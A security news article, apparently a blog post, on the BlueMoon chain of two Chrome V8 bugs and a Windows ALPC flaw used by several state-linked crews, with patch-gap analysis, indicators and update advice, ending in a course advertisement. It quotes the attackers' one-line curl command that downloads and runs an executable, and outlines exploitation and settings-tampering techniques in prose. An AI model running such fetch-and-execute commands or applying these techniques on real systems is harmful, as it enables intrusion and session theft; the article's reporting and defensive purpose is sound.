BlueMoon Chained Two Chrome Bugs to a Windows Flaw While the Fix Sat in Public for 27 Days

Five spy crews broke into Chrome with the same kit in seven days. The victims clicked one link in an email. Google fixed the first hole on August 7. It reached your browser on September 3.

The mail looked normal. The link looked normal. You clicked, a page started loading, and it sat there for a few seconds. Then it dropped you at github.com, a site you know. The browser never said a word. By then somebody else was already running code on your machine.

Proofpoint pulled the kit apart and called it BlueMoon. Three holes, tied together, each one doing a job the other two cannot.

The pages you open run little programs, and Chrome has two parts that take those programs and rewrite them into something the processor runs at full speed, because otherwise the web would crawl. Maglev and TurboFan, both living inside V8, Chrome’s JavaScript engine. To go fast, they guess. They look at a list, decide what sort of thing is in it, and skip the checks. The exploit changes that list halfway through a sort, and the compiler ends up reading a list of object references as if they were small whole numbers. What comes back is not a number. It is a memory address.

That leak is what attackers call addrof. Turn it around and you can forge a pointer to an object that was never created, which they call fakeobj. Put the two together and you can read and write anywhere inside the heap cage, the area of memory V8 keeps for itself.

That is CVE-2026-85046, and it is your browser doing what it was built to do.

Chrome does not trust a web page, so it runs them in a closed-off area that reaches nothing else on the machine. The sandbox. The second hole is the way out. CVE-2026-87491 writes past the space it got and goes after WebAssembly, the part of Chrome that runs compiled code. It rewrites what a module says about itself, then drops its own shellcode where the finished functions used to sit.

Now the code is out of V8, and it still has almost nothing.

The code runs inside the tab, in the renderer process, and that process is shut off on purpose. It cannot open your files and it has no rights of its own. Breaking out of that is what the third hole is for.

Windows programs talk to each other all day, and underneath there is a system that carries those messages back and forth. Advanced Local Procedure Call. CVE-2026-85880 sits in a function called RtlpCreateServerAcl and feeds it more data than it has room for. Pair that with the Windows Notification Facility and you get read and write access to the kernel, the layer of Windows that everything else runs on top of. The exploit lifts the rights of the process it is already sitting in and switches on SeDebugPrivilege, the right that lets one program open and control other programs. It uses that to reach into the Chrome browser process, the one that runs as you.

Sixteen holes have been closed in that messaging system since 2022. This is the first to make it into a Patch Tuesday in more than three years, and the second one caught in a live attack since January 2023.

NVD scores the Windows bug 7.8. What the attackers do next comes down to one line:

1

curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"

The fix for the first V8 bug went into the Chromium source code on August 7, out in the open, where the public can read it. It did not reach the stable Chrome that people actually run until September 3. The second V8 bug sat in exactly the same position, fixed in the source, unfixed in the browsers, for weeks. All three holes were still open in the products people had installed on the day the attacks ran. On your machine there was no difference between this and a zero-day.

Updating on September 3 was not the end of it. That release closed the first hole only. The sandbox escape stayed open until Chrome 153 landed a few days later. Patching on the third left half the chain open.

Twenty-seven days. The repair was public. The browsers were not repaired.

A fix tells you which line was wrong and what the right one is. Read it backwards and you know where the hole was. That is most likely what happened here: somebody read those public fixes and worked the exploit out from them.

The first attack landed on August 28. Six days before the first fixed Chrome showed up.

Two people did this right. Salvatore Gulizia, who goes by Serotav, reported the first bug on August 4 and got 1,000 dollars. Jihyeon Jeong of the Compsec Lab at Seoul National University reported the sandbox escape two days later and got 2,500 dollars.

They filed their reports and took 3,500 dollars between them. What came out of their work went to five spy crews. That is not a reason to stop reporting bugs, and there is nothing better on offer. It does show what those four weeks are worth to somebody with time and skill.

The crew behind that first attack is tracked as TA412, and elsewhere it goes by APT31. They have gone after journalists before. The United States indicted people working for this group in 2024 and put a company in Wuhan on the sanctions list, a company treated as a front for the Chinese Ministry of State Security. This time the targets were NGOs, mining companies and commodity traders.

On September 2 a second crew used the kit against American aerospace companies and left ShadowPad behind. That same day a third one hit a factory in Vietnam with loaders written in Rust. The fourth came on September 3, going after government, consultancy and financial firms in Indonesia and Singapore.

The fifth turned up in a second report. Volexity was watching phishing against NGOs and found another Chinese crew, UTA0560, running the same chain with its own backdoor. Their mail did something the others did not. The link in it pointed at a university website, a genuine one, with a hole in it that bounced visitors straight on to the attackers. That is why the link looked normal. It was normal.

Five crews, each with their own infrastructure and their own payload, running the same kit inside a week.

The researchers say straight out that they do not know how that happened. Somebody may be selling the same kit to several state-linked crews, or one state organisation built it and handed it to its own teams. That second report has the hardest evidence on the question: two crews with no known connection to each other were running shellcode that was identical byte for byte.

An exploit chain like this used to be rare. Building one takes months of specialist work, which kept this kind of tool expensive and in few hands. Now five crews have the same one inside a week, built out of a public fix in under three weeks. The first report points at what may have changed: AI agents are getting good enough at exploit development that the cost and the barrier drop away. It says may, and so do I. What turned up in the code is heavy diagnostic logging, comments documenting one debugging round after another, and a reference to a handover document written in markdown. That proves nothing on its own. It does look like the way people work with agents.

The attackers also shipped their own debugging tools with it. The exploit page reads thirteen settings out of the URL. One runs it without dropping the payload. One stops after the type confusion and before the sandbox escape. One reports back to the operator which stage it reached and where it went wrong. That is what you use while you are still building the exploit, and it went out to live targets.

The exploit runs in a Web Worker, a separate thread beside the page, so a crash takes down the worker and leaves the tab alone. That is why the page just sat there loading while the person behind the screen saw nothing. It tries again as well, up to five times, with the counter kept in the browser’s own session storage.

The first crew left something behind. After taking the machine it installed a browser add-on that calls itself Google Gemini. One report calls it GemStone, the other LONGTALE, and it waits for orders from a server, fourteen of them, including PING and CAPTURE_COOKIES.

That last one is the one to watch. When you log in somewhere, the site hands your browser a token so you stay logged in on the next visit. A session cookie. Steal it and the attacker is in your account as you, with no password and no second factor, because the login already happened.

An add-on inside the browser sees all of them.

Getting that add-on installed took its own trick. Chrome checks its own settings file to catch anything that was added without you knowing. It got a hash per setting in November 2025 and a second one across the file in June 2026. The malware strips the new hashes, recalculates the old style ones that Chrome still accepts, and Chrome then re-certifies the smuggled extension itself. That old fallback was still switched on by default in Chrome releases up to September 8.

Two things kept this smaller than it could have been. The kit came in by phishing mail only, so a normal website visit was not the way in. And the Windows side worked on specific builds only: Windows 10 19041 through 19045 and 1809, Windows 11 21H2 build 22000, Server 2019 and 2022. That cut down the number of machines they could reach.

Google rated that sandbox escape medium severity. It was in a spying chain against government and defence targets at the time.

What to do with this:

• → Chrome: open chrome://settings/help and read the version. 153.0.8010.36 or higher has both V8 fixes. The September 3 update only had the first one. Chrome downloads updates on its own, but only finishes the job after a restart, so a browser that has been open for a week is still the old one.
• → Windows: install the September update. The ALPC fix shipped on September 8.
• → Edge, Brave, Opera and Vivaldi run on the same engine and need their own updates.
• → Check your extensions: open chrome://extensions, switch on developer mode, and read the IDs. The one from this campaign is ckiknalbeplpcpofpnabcnhjcegckfei.
• → CISA added all three to the Known Exploited Vulnerabilities catalog, with deadlines of September 18, 22 and 23. For federal systems those are obligations, not advice.
• → The two reports list well over a hundred indicators between them, including the domains secboxes[.]com, msbenefit[.]com and attcdn[.]com.

Open Wireshark on your own machine, load a page, and watch exactly what your browser reaches out to before anything appears on the screen.

My Ethical Hacking Complete Course Zero to Expert takes you there step by step: reconnaissance, scanning, exploitation and traffic analysis, hands-on, from your first day with no Linux or hacking background.

→ Join my complete ethical hacking course

Hacking is not a hobby but a way of life.

Sources:

Proofpoint | Volexity